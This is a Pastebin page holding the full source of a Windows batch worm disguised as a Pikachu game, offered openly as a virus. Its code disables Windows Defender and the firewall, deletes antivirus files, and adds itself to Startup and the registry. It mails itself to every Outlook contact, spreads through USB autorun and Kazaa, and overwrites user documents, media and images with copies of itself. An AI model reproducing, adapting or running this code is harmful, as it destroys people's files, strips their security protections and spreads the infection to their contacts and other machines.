FlyFar

A Simple Batch/CMD Virus that send itself through Outlook

Oct 21st, 2021 (edited)
208
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Batch 6.30 KB | None | 0 0
  1. @echo off
  2. color 03
  3. title Pikachu                                            
  4. echo Do you prefer to Pikachu to play in your computer?
  5. echo Type Y or N
  6. set /p play=
  7. if %play%==yes goto play
  8. if %play%==no goto leave
  9. :play
  10. echo So, like you choose, Pikachu is happy!
  11. pause
  12. ::copy itself to startup
  13. copy Pikachu.bat "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"
  14. ::start disable WDef
  15. net stop "SDRSVC"
  16. net stop "WinDefend"
  17. taskkill /f /t /im "MSASCui.exe"
  18. net stop "security center"
  19. netsh firewall set opmode mode-disable
  20. net stop "wuauserv"
  21. net stop "Windows Defender Service"
  22. net stop "Windows Firewall"
  23. ::start deleting third-party AVs
  24. del /Q /F C:\Program Files\alwils~1\avast4\*.*
  25. del /Q /F C:\Program Files\Lavasoft\Ad-awa~1\*.exe
  26. del /Q /F C:\Program Files\kasper~1\*.exe
  27. del /Q /F C:\Program Files\trojan~1\*.exe
  28. del /Q /F C:\Program Files\f-prot95\*.dll
  29. del /Q /F C:\Program Files\tbav\*.dat
  30. del /Q /F C:\Program Files\avpersonal\*.vdf
  31. del /Q /F C:\Program Files\Norton~1\*.cnt
  32. del /Q /F C:\Program Files\Mcafee\*.*
  33. del /Q /F C:\Program Files\Norton~1\Norton~1\Norton~3\*.*
  34. del /Q /F C:\Program Files\Norton~1\Norton~1\speedd~1\*.*
  35. del /Q /F C:\Program Files\Norton~1\Norton~1\*.*
  36. del /Q /F C:\Program Files\Norton~1\*.*
  37. ::Spread the worm with Outlook
  38. :worm
  39. set Slash=\
  40. if exist %SystemDrive%%Slash%AUTOEXEC.BAT (
  41. del %SystemDrive%%Slash%AUTOEXEC.BAT
  42. copy %0 %SystemDrive%%Slash%AUTOEXEC.BAT
  43. attrib +s +r +h %SystemDrive%%Slash%AUTOEXEC.BAT
  44. )
  45. set a=Pikachu
  46. copy %0 %windir%\%a%.exe
  47. reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v AVAADA /t REG_SZ /d %windir%\%a%.exe /f > nul
  48. reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v AVAADA /t REG_SZ /d %windir%\%a%.exe /f > nul
  49. set b=Pikachu
  50. copy %0 %windir%\%b%.exe
  51. echo [windows] >> %windir%\win.ini
  52. echo run=%windir%\%b%.exe >> %windir%\win.ini
  53. echo load=%windir%\%b%.exe >> %windir%\win.ini
  54. echo [boot] >> %windir%\system.ini
  55. echo shell=explorer.exe %b%.exe >> %windir%\system.ini
  56. echo dim x>>%SystemDrive%\mail.vbs
  57. echo on error resume next>>%SystemDrive%\mail.vbs
  58. echo Set fso ="Scripting.FileSystem.Object">>%SystemDrive%\mail.vbs
  59. echo Set so=CreateObject(fso)>>%SystemDrive%\mail.vbs
  60. echo Set ol=CreateObject("Outlook.Application")>>%SystemDrive%\mail.vbs
  61. echo Set out=WScript.CreateObject("Outlook.Application")>>%SystemDrive%\mail.vbs
  62. echo Set mapi = out.GetNameSpace("MAPI")>>%SystemDrive%\mail.vbs
  63. echo Set a = mapi.AddressLists(1)>>%SystemDrive%\mail.vbs
  64. echo Set ae=a.AddressEntries>>%SystemDrive%\mail.vbs
  65. echo For x=1 To ae.Count>>%SystemDrive%\mail.vbs
  66. echo Set ci=ol.CreateItem(0)>>%SystemDrive%\mail.vbs
  67. echo Set Mail=ci>>%SystemDrive%\mail.vbs
  68. echo Mail.to=ol.GetNameSpace("MAPI").AddressLists(1).AddressEntries(x)>>%SystemDrive%\mail.vbs
  69. echo Mail.Subject="Pikachu is finding a friend!">>%SystemDrive%\mail.vbs
  70. echo Mail.Body="Play with Pikachu NOW!">>%SystemDrive%\mail.vbs
  71. echo Mail.Attachments.Add(%0)>>%SystemDrive%\mail.vbs
  72. echo Mail.send>>%SystemDrive%\mail.vbs
  73. echo Next>>%SystemDrive%\mail.vbs
  74. echo ol.Quit>>%SystemDrive%\mail.vbs
  75. start "" "%SystemDrive%\mail.vbs"
  76. goto run2
  77. goto worm
  78. ::Infect AUTOXEC.EXE
  79. :run2
  80. set Slash=\
  81. if exist %SystemDrive%%Slash%AUTOEXEC.BAT (
  82. attrib +s +r +h %SystemDrive%%Slash%AUTOEXEC.BAT
  83. del %SystemDrive%%Slash%AUTOEXEC.BAT
  84. copy %0 %SystemDrive%%Slash%AUTOEXEC.BAT
  85. attrib +s +r +h %SystemDrive%%Slash%AUTOEXEC.BAT
  86. )
  87. set a=Pikachu
  88. copy %0 %windir%\%a%.exe
  89. reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v AVAADA /t REG_SZ /d %windir%\%a%.exe /f > nul
  90. reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v AVAADA /t REG_SZ /d %windir%\%a%.exe /f > nul
  91. copy %0 "%userprofile%\Start Menu\Programs\Startup"
  92. set b=Pikachu
  93. copy %0 %windir%\%b%.exe
  94. echo [windows] >> %windir%\win.ini
  95. echo run=%windir%\%b%.exe >> %windir%\win.ini
  96. echo load=%windir%\%b%.exe >> %windir%\win.ini
  97. echo [boot] >> %windir%\system.ini
  98. echo shell=explorer.exe %b%.exe >> %windir%\system.ini
  99. ::Create Autorun file for USBs
  100. echo [autorun] > windows.inf
  101. echo ;open=Pikachu.bat >> windows.inf
  102. echo ShellExecute=Pikachu.bat >> windows.inf
  103. echo UseAutoPlay=1 >> windows.inf
  104. ::Spread use Kazaa if user have this :)))
  105. if exist C:\Program Files\KaZaa\My Shared Folder\ (
  106.     xcopy Loveware.exe C:\Program Files\KaZaa\My Shared Folder\list.doc.exe
  107.     goto key
  108. ) else (
  109.     goto key
  110. )
  111. :key
  112. ::Infect other files
  113. assoc .lnk=batfile
  114. DIR /S/B %SystemDrive%\*.lnk >> InfList_lnk.txt
  115. echo Y | FOR /F "tokens=1,* delims=: " %%j in (InfList_lnk.txt) do copy /y %0 "%%j:%%k"
  116. assoc .doc=batfile
  117. DIR /S/B %SystemDrive%\*.doc >> InfList_doc.txt
  118. echo Y | FOR /F "tokens=1,* delims=: " %%j in (InfList_doc.txt) do copy /y %0 "%%j:%%k"
  119. assoc .txt=batfile
  120. DIR /S/B %SystemDrive%\*.txt >> InfList_txt.txt
  121. echo Y | FOR /F "tokens=1,* delims=: " %%j in (InfList_txt.txt) do copy /y %0 "%%j:%%k"
  122. assoc .pdf=batfile
  123. DIR /S/B %SystemDrive%\*.pdf >> InfList_pdf.txt
  124. echo Y | FOR /F "tokens=1,* delims=: " %%j in (InfList_pdf.txt) do copy /y %0 "%%j:%%k"
  125. assoc .xml=batfile
  126. DIR /S/B %SystemDrive%\*.xml >> InfList_xml.txt
  127. echo Y | FOR /F "tokens=1,* delims=: " %%j in (InfList_xml.txt) do copy /y %0 "%%j:%%k"
  128. assoc .mp3=batfile
  129. DIR /S/B %SystemDrive%\*.mp3 >> InfList_mp3.txt
  130. echo Y | FOR /F "tokens=1,* delims=: " %%j in (InfList_mp3.txt) do copy /y %0 "%%j:%%k"
  131. assoc .mp4=batfile
  132. DIR /S/B %SystemDrive%\*.mp4 >> InfList_mp4.txt
  133. echo Y | FOR /F "tokens=1,* delims=: " %%j in (InfList_mp4.txt) do copy /y %0 "%%j:%%k"
  134. assoc .png=batfile
  135. DIR /S/B %SystemDrive%\*.png >> InfList_png.txt
  136. echo Y | FOR /F "tokens=1,* delims=: " %%j in (InfList_png.txt) do copy /y %0 "%%j:%%k"
  137. :: Send message to other users
  138. :Laughing
  139. msg * "You have infected by Pikachu"
  140. net send * "Never trust a Pikachu!"
  141. goto Laughing
  142. ::Speaking "Never trust a Pikachu!"
  143. echo do > Happy.vbs
  144. echo CreateObject(“SAPI.SpVoice”).Speak”Never trust a Pikachu!>> Happy.vbs
  145. echo loop >> Happy.vbs
  146. ::When time out start Rick Rolled
  147. timeout 5 start https://www.youtube.com/watch?v=dQw4w9WgXc
  148. ::Print
  149. echo :run>>yes.bat
  150. echo echo Never trust Pikachu!>>LOVE.txt>>yes.bat
  151. echo :Print >> yes.bat
  152. echo PRINT LOVE.txt /D:LPT2 >> yes.bat
  153. echo PRINT LOVE.txt /D:LPT1 >> yes.bat
  154. echo NOTEPAD /P LOVE.txt >> yes.bat
  155. echo goto run1 >> yes.bat
  156. echo goto Print >> yes.bat
  157. :leave
  158. echo Pikachu is leaving!
  159. exit
  160. pause
Add Comment
Please, Sign In to add comment